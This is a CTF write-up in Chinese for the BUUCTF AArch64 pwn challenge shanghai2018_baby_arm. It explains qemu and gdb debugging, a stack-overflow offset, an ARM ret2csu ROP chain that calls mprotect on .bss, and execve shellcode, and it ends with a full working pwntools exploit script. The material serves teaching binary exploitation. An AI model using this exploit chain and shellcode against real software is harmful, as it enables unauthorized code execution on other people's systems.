BUU刷题-Pwn-shanghai2018_baby_arm(ARM_ROP_csu_init,ARM架构入门)

news2024/10/6 9:08:53

解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:ARM_ROP && mprotect函数(运行内存权限修改) && [[ARM_ROP_csu_init]]
    获得shell或flag:ARM_Shellcode && 利用shellcode获得shell

学到的知识:

[[ARM_Pwn]]
[[使用gdb动态调试异架构程序]]
IDA远程调试异架构程序
ROPgadget的使用
ARM程序STP和LDP开辟栈帧恢复栈帧

题目信息:

┌──(kali㉿kali)-[~/Desktop]
└─$ file ./shanghai2018_baby_arm_/shanghai2018_baby_arm 
./shanghai2018_baby_arm_/shanghai2018_baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=./shanghai2018_baby_arm_/shanghai2018_baby_arm 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0   1./shanghai2018_baby_arm_/shanghai2018_baby_arm

libc版本:
wp借鉴:(25条消息) ARM PWN:Shanghai2018_baby_arm详细讲解_hollk的博客-CSDN博客

运行ARM架构的程序

先测试运行一下,检测一下程序后会发现这是一个ARM架构的动态链接程序,所以模拟运行一下:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn
Name:hello
hello

可以进行两次输入,由于题目还给出了两个ARM架构的libc文件所以也可以指定libc版本来运行arm程序

按照运行的报错就可以得出运行的目录需要改成lib文件夹下:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn                    
qemu-aarch64: Could not open '/lib/ld-linux-aarch64.so.1': No such file or directory

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
./pwn: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory

需要将arm架构的libc文件移动程序下面这个文件结构就可以直接运行了

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ tree
.
├── lib
│   ├── ld-linux-aarch64.so.1
│   └── libc.so.6   --->(其实是改名后的libc.so_2.6)
└── pwn

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
Name:dasdsad
asdasdasd

程序可用信息收集

在分析一下伪代码:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  ssize_t len; // x0

  init_0();                                     // 初始化缓冲区
  write(1, "Name:", 5uLL);
  len = read(0, &input1, 0x200uLL);         
  vlun(len);
  return 0LL;
}


发现input1变量位于bss段

ssize_t vlun()
{
  __int64 v1; // [xsp+10h] [xbp+10h] BYREF

  return read(0, &v1, 0x200uLL);
}

发现变量V1存放在栈上但是该变量的长度小于可以向栈内写入的数据长度:

read()函数允许向这块栈空间输入512个字节,大于0x48,所以该程序存在栈溢出漏洞!

获取可用的gadgets

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ ROPgadget --binary ./pwn > gadgets

ARM架构获取gadgets的方法:使用ROPgadget快速寻找arm64 pwn的rop链之ret2csu_如何找rop链-CSDN博客

查看可用函数:

开始利用漏洞

获取可利用的信息:

  1. 可在bss写入0x200个字节的数据
  2. 存在一个输入实现栈溢出
  3. 发现可用函数:mprotect

根据上面的可用信息就可有得出攻击路径了:

  1. 先向bss段写入shellcode
  2. 再利用栈溢出劫持PC寄存器来调用gadgets调用mportect函数开启bss段的可执行权限
  3. 最后在跳转到bss段执行shellcode代码

调试ARM程序开始分析

IDA远程调试ARM架构的程序

所需环境:
linux:qemu,gdb
windows:IDA

模拟执行时需要指定调试端口,23946是最好的:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn
Name:

配置IDA:

配置好后直接在ida下个断点就可以开始调试!

选择附加后Linux里的程序才会开始运行:

GDB调试ARM架构的程序

使用qemu开启调试端口:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn

再次使用gdb-multiarch开启调试:

┌──(root㉿kali)-[/home/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─# gdb-multiarch
GNU gdb (Debian 15.1-1) 15.1
...
pwndbg> set arch aarch64
The target architecture is set to "aarch64".
pwndbg> target remote 127.0.0.1:23946

设置调试架构:

set arch aarch64

链接远程端口:

target remote 127.0.0.1:23946

成功调试:

Python的pwntools库调用gdb进行调试

一键调试脚本:

import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 26456)
else:
    if is_debug:
        sh = process(["qemu-aarch64", "-L", "./", "-g", "1234", "./pwn"])
    else:
        sh = process(["qemu-aarch64", "-L", "./", "./pwn"])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """target remote localhost:1234
        		b *0x400838
        		b *0x400808
        		""")  # brva 0xe93 b *0x4008c0
mygdb()
sh.interactive()

调试命令:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ python pwnexp.py -d

分析写入bss段的shellcode

查看pwntools生成的Shellcode:

>>> print(shellcraft.aarch64.sh())
    /* push b'/bin///sh\x00' */
    /* Set x14 = 8299904519029482031 = 0x732f2f2f6e69622f */
    mov  x14, #25135                   /*0x622f*/  b/
    movk x14, #28265, lsl #16          /*0x6e69*/  ni
    movk x14, #12079, lsl #0x20        /*0x2f2f*/  //
    movk x14, #29487, lsl #0x30        /*0x732f*/  s/
    mov  x15, #104                     /*0x68*/    h
    stp x14, x15, [sp, #-16]!
    /* execve(path='sp', argv=0, envp=0) */
    add  x0, sp, xzr
    mov  x1, xzr
    mov  x2, xzr
    /* call execve() */
    mov  x8, #SYS_execve
    svc 0

shellcode解析:
第一部分就是将b'/bin///sh\x00'放入栈中,

mov  x14, #25135                   /*0x622f*/  b/
解释:mov将0x622f放入寄存器x14

movk x14, #28265, lsl #16          /*0x6e69*/  ni
movk x14, #12079, lsl #0x20        /*0x2f2f*/  //
movk x14, #29487, lsl #0x30        /*0x732f*/  s/
解释:movk它允许你将某个立即数加载到寄存器的特定位位置上,并保留寄存器的其他部分值。
movk 寄存器 , 立即数 , 算术操作 #操作位数
指定位置存放数据
b/       ni         //         s/
0~0x10  0x10~0x20  0x20~0x30  0x30~0x40

mov  x15, #104                     /*0x68*/    h


stp x14, x15, [sp, #-16]!  将x14,x15寄存器中的字符串放入栈中
解释:stp用于同时将两个寄存器的值存储到内存中

sp 是栈指针(Stack Pointer),它指向当前堆栈的顶部。

[sp, #-16]! 表示在存储数据之前,栈指针 sp 会先减去 `16` 字节,然后将数据存储在新位置上(这就是后缀 `!` 的含义,它表示更新后的地址会写回到 `sp` 中)。

`#-16` 表示栈指针将向下移动 16 字节,通常在 64 位架构中,每个寄存器是 8 字节,因此 16 字节可以存储两个寄存器的值。

第二部分就是给函数传参:

/* execve(path='sp', argv=0, envp=0) */
add  x0, sp, xzr
mov  x1, xzr
mov  x2, xzr

ARM架构的传参方式:x0~x7     
寄存器:xzr就是0
这里就是传参:
参数一:add  x0, sp, xzr         
参数二:mov  x1, xzr
参数三:mov  x2, xzr

第三部分就是调用系统调用了:

/* call execve() */
mov  x8, #SYS_execve
svc 0

ARM架构的系统调用号存放寄存器是x8,x8作为系统调用号的存放位置
svc 0 类似于syscall 

开始构造栈溢出ROP

开始计算第二部分的溢出长度

一步步调试就可以找到溢出的位置:

查看溢出的偏移长度:

pwndbg> cyclic 200   #可以生成一个长度200字节的字符串用来探测栈溢出目标的长度
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72


栈帧1是main函数的栈帧,栈帧2是main函数里面的函数调用产生的栈帧,发现返回地址存放在栈顶位置

开始伪造恶意栈帧

先了解arm程序的栈帧构造的汇编代码:

STP             X29, X30, [SP,#var_50]!                          --开辟栈帧 0x50   并且保存 X29(栈帧地址)和X30(函数返回地址)
MOV             X29, SP
...
LDP             X29, X30, [SP+0x50+var_50],#0x50                 --恢复栈帧 0x50   将栈顶的两个值恢复到x29 和x30,并更新栈指针SP。
RET
  • x29 是帧指针寄存器。
  • x30 是返回地址寄存器(即 LR,链接寄存器)。
  • STP 将寄存器中的值存储到栈顶
  • LDP 将栈顶的两个值恢复到 x29x30,并更新栈指针 SP
  • RET:从 LR 寄存器中读取返回地址并跳回。

我们需要的恶意栈帧需要实现的功能调用mprotect函数开启bss段的权限然后再跳转到bss段执行shellcode,首先找到两段gadget:
这段gadget主要是将需要的参数传递给不同的寄存器:x19,x20,x21,x22,x23,x24

0x00000000004008cc : 
ldp x19, x20, [sp, #0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给x20
ldp x21, x22, [sp, #0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给x22
ldp x23, x24, [sp, #0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给x24
ldp x29, x30, [sp], #0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30  sp寄存器+0x40
ret

这段gadget可以实现两次任意函数调用:

0x00000000004008ac : 
ldr x3, [x21, x19, lsl #3]   ; 从地址 [x21 + x19 << 3] 处加载值到 x3(x21 基址 + x19 的左移 3 位乘法偏移,用于取函数地址)
mov x2, x22                  ; 将寄存器 x22 的值复制到寄存器 x2
mov x1, x23                  ; 将寄存器 x23 的值复制到寄存器 x1
mov w0, w24                  ; 将寄存器 w24 的值复制到寄存器 w0
add x19, x19, #1             ; 将 x19 加 1(可能用于循环计数)
blr x3                       ; 跳转并链接到 x3 存储的地址处,调用函数
cmp x19, x20                 ; 比较 x19 和 x20 的值(可能用于判断循环结束)
b.ne loc_4008AC              ; 如果 x19 和 x20 不相等,则跳转到 0x4008AC(形成循环)

我们的payload:

payload2 = b'a'*overlen + p64(csu_down)
payload2 += 
b'aaaaapwn' 
+ p64(csu_up) 
+ p64(0)                       x19
+ p64(1)                       x20
+ p64(save_mprotect)           x21
+ p64(0x7)                     x22
+ p64(0x1000)                  x23
+ p64(0x411000)                x24
+ b'aaaaapwn' 
+ p64(save_shellcode)

第一次调用:

ldr x3, [x21, x19, lsl #3]    ; 必须将mprotect_plt的地址写到bss段,因为这里读取的数据方式是指针,只有这样才可以将 mprotect的函数地址写入x3
mov x2, x22                  ; 将寄存器 x22 的值复制到寄存器 x2  参数3
mov x1, x23                  ; 将寄存器 x23 的值复制到寄存器 x1  参数2
mov w0, w24                  ; 将寄存器 w24 的值复制到寄存器 w0  参数1
add x19, x19, #1             ; 将 x19 加 1(可能用于循环计数)
blr x3                       ; 跳转并链接到 x3 存储的地址处,调用函数   等于x86的call指令

成功调用权限开启函数:

运行后可以根据函数的返回值判断是否调用成功!X0是返回值的存放寄存器,返回值是0就代表函数调用成功,如果是-1(也就是0xffffffffffffffff)就代表函数调用失败

执行完成后又会经过判断,这里经过精心构造就不会进行跳转,继续进行下一步

   0x4008c4    cmp    x19, x20                  
   0x4008c8    b.ne   #0x4008ac                   <0x4008ac>
 
 ► 0x4008cc    ldp    x19, x20, [sp, #0x10]          
   0x4008d0    ldp    x21, x22, [sp, #0x20]
   0x4008d4    ldp    x23, x24, [sp, #0x30]
   0x4008d8    ldp    x29, x30, [sp], #0x40       在这里将会将栈帧中的值写入x30,这样ret时候就可以跳转到任意地址       
   0x4008dc    ret                                

继续执行后就会跳转到shellcode的位置:<0x411070>

将6个需要的参数放置到x19,x20,x21,x22,x23,x24
成功构造出恶意栈帧:

最后开始执行shellcode:

成功执行:

思路整理

本体存在两个输入,第一个输入可以向bss段写入数据,第二个输入可以实现栈溢出.
再分析题目时候发现存在mportect函数可以开启bss的执行权限,由于arm程序没有和pop和push一样的指令来连续调用函数,所以采用ARM架构下的csu_init的gadget(和x86的一样只是使用arm指令完成的),所以利用这个gadget可以实现两次调用!
第一次调用mprotect函数开启shellcode的可执行权限,再跳转到shellcode代码处!

脚本:

import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 26456)
else:
    if is_debug:
        sh = process(["qemu-aarch64", "-L", "./", "-g", "1234", "./pwn"])
    else:
        sh = process(["qemu-aarch64", "-L", "./", "./pwn"])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """target remote localhost:1234
        		b *0x400854
        		""")  # brva 0xe93 b *0x4008c0

mprotect_plt = elf.plt['mprotect']
csu_down = 0x4008CC
csu_up = 0x4008AC
overlen = 72
save_mprotect = 0x411068
save_shellcode = 0x411068 + 0x8
shellcode = asm(shellcraft.aarch64.sh())
mygdb()
payload1 = p64(mprotect_plt) + shellcode
sh.sendafter('Name:',payload1)

payload2 = b'a'*overlen + p64(csu_down)
payload2 += b'aaaaapwn' + p64(csu_up) + p64(0) + p64(1)
payload2 += p64(save_mprotect) + p64(0x7) + p64(0x1000) + p64(0x411000)
payload2 += b'aaaaapwn' + p64(save_shellcode)

sh.send(payload2)

sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2191552.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【AI自然语言处理应用】通义晓蜜CCAI

通义晓蜜CCAI-对话分析AIO 对话分析AIO&#xff0c;即对话分析all-in-one API&#xff0c;是基于深度调优的对话大模型&#xff0c; 为营销服类产品提供智能化升级所需的生成式摘要总结、质检、分析等能力的官方应用。 面向对象&#xff1a;开发者、自研企业、传统呼叫中心采购…

02 nth_element 与第k小

题目&#xff1a; 方案一&#xff1a;sort排序 #include<bits/stdc.h> using namespace std;int main() {int n;int k;cin>>n>>k;int a[n]{0};for(int i0;i<n;i){cin>>a[i];}sort(a,an); cout<<a[k]<<endl;}方案二&#xff1a;…

【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版

文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理&#xff0c;已经进行了介绍与总结&#xff0c;相关内容可参考【…

leetcode面试题17.04:消失的数字(C语言版)

思路1 先排序&#xff0c;再依次查找&#xff0c;如果下一个值不等于前一个1&#xff0c;那么下一个值就是消失数字。 时间复杂度分析&#xff1a;冒泡排序的时间复杂度为O(N^2)&#xff0c;qsort排序时间复杂度为O(N*logN)。因此该思路不可行。 思路2 求和0到N&#xff0c;再减…

Python爬虫使用实例-mdrama

一个Python爬虫使用实例&#xff1a;主要用于下载指定的剧集音频。分别从网页和json文件中获取剧集的title和剧集中所存在音频的id&#xff0c;调用you-get&#xff0c;最后自动重命名下载文件夹为剧集名title。 目标网址&#xff1a; https://www.missevan.com/mdrama/其中为…

【C++】关键字+命名空间

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家了解C的命名空间&#xff0c;如果你觉得我写的还不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 目录 一. 关键字二. 命名空间2.1 命名空间的定义2.2 命名空间的使用a. 命名空间名称作用域限定…

R包的安装、加载以及如何查看帮助文档

0x01 如何安装R包 一、通过R 内置函数安装&#xff08;常用&#xff09; 1.安装CRAN的R包 install.packages()是一个用于安装 R 包的重要函数。 语法&#xff1a;install.packages(pkgs, repos getOption("repos"),...) 其中&#xff1a; pkgs&#xff1a;要安…

SpringCloud Alibaba - Eureka注册中心,Nacos配置中心

Eureka 1、创建服务端 server:port: 8761 # eureka 默认端口spring:application:name: eureka-server # 应用名称&#xff08;微服务中建议必须定义应用名称&#xff09; SpringBootApplication EnableEurekaServer // 开启eureka注册中心功能 public class EurekaServerAppli…

二分查找一>山脉数组的峰顶索引

1.题目&#xff1a; 2.解析&#xff1a; 代码&#xff1a; public int peakIndexInMountainArray(int[] arr) {int left 1, right arr.length-2;while(left < right) {int mid left (right-left1) / 2;if(arr[mid] > arr[mid-1]) left mid;else right mid-1;}ret…

【记录】Excel|Excel 打印成 PDF 页数太多怎么办

【记录】Excel&#xff5c;解决 Excel 打印成 PDF 页数过多的问题 文章目录 【记录】Excel&#xff5c;解决 Excel 打印成 PDF 页数过多的问题方法一&#xff1a;调整页边距WPS OfficeMicrosoft Excel 方法二&#xff1a;优化页面布局调整列宽和行高使用“页面布局”视图合并单…

Markdown实用语法汇总

说明&#xff1a; 本来只展示本人常用的、markdown特有优势的一些语法。表格输入markdown的弱项&#xff0c;不作介绍&#xff0c;借助软件创建即可。引用图片、音频、视频等&#xff0c;虽然很方便&#xff0c;但是内容集成度不高&#xff0c;需要上传发布的时候很不方便&…

[单master节点k8s部署]29.Istio流量管理(五)

测试istio熔断管理。 采用httpbin镜像和fortio镜像&#xff0c;其中httpbin作为服务端&#xff0c;fortio是请求端。这两个的配置yaml文件都在istio的samples/httpbin目录下&#xff0c;fortio的配置文件在samples-client目录下。 [rootmaster httpbin]# ls gateway-api ht…

七、Drf版本组件

七、版本组件 7.1基于GET请求 #url.py urlpatterns [ path(home/,views.HomeView.as_view(),namehome), ]#setting.py REST_FRAMEWORK {#定义版本号的名称&#xff0c;默认为versionVERSION_PARAM:version, #允许的版本号值&#xff0c;如果前端传递过来的版本号的值不在…

工具使用总结之(三) SecureCRT 设置日志自动保存

SecureCRT工具设置日志自动保存方法 1、双击打开SecureCRT工具 2、打开依次打开选项-》会话选项-》日志文件 3、按照如下截图方法进行配置&#xff0c;然后确定保存即可 [%Y%M%D_%h:%m:%s] [%Y%M%D_%h:%m:%s] [%h:%m:%s.%t]

统一 SASE 架构中的网络和安全融合

网络威胁情报技术的进步 传统的网络边界一片混乱&#xff0c;剩下的只是无人管理的设备、分散在私有云和公共云中的资产、无法读取的应用程序流量泛滥&#xff0c;混合工作结构正在给现有网络的功能带来压力。 更重要的是&#xff0c;这些问题早在生成式人工智能和大型语言模…

Nginx的核心架构和设计原理

Nginx 是一个免费的、开源的、高性能 Http 服务器和反向代理。Nginx 的架构设计是为了提供高性能、稳定性和可扩展性。 Nginx 的主要架构组件和工作原理&#xff1a; 1、Master 进程&#xff1a;Nginx 的运行始于一个 master 进程&#xff0c;它负责管理所有的工作进程。mast…

【C++差分数组】1526. 形成目标数组的子数组最少增加次数|1872

本文涉及知识点 C差分数组 LeetCode1526. 形成目标数组的子数组最少增加次数 给你一个整数数组 target 和一个数组 initial &#xff0c;initial 数组与 target 数组有同样的维度&#xff0c;且一开始全部为 0 。 请你返回从 initial 得到 target 的最少操作次数&#xff0c…

WSL2Linux 子系统(十二)

wsl 子系统安装 cuda 环境 《WSL2Linux 子系统(十一)》讲述 WSL 网络转为桥接模式的两种方法&#xff0c;WSL 网络桥接模式无论是静态 IP 还是动态分配 IP 均支持。本篇文章则是简单讲述 WSL 安装 cuda 环境。 作者&#xff1a;炭烤毛蛋 &#xff0c;点击博主了解更多。 提示…

3种框架助你绘制完美技术路线图,导师一眼就认可

我是娜姐 迪娜学姐 &#xff0c;一个SCI医学期刊编辑&#xff0c;探索用AI工具提效论文写作和发表。 一份好的技术路线图&#xff0c;不仅能让导师和评委一目了然地了解你的研究计划&#xff0c;还能为你的整个研究过程提供清晰的指导。但是&#xff0c;不少学生在制作时往往摸…

MFC多媒体定时器实例(源码下载)

用MFC多媒体定时器做一个每1秒钟加一次的计时器&#xff0c;点开始计时按钮开始计时&#xff0c;点关闭计时按钮关闭计时。 1、在库文件Med_timeDlg.h文件中添加代码 class CMed_timeDlg : public CDialog { // Construction public:CMed_timeDlg(CWnd* pParent NULL); // st…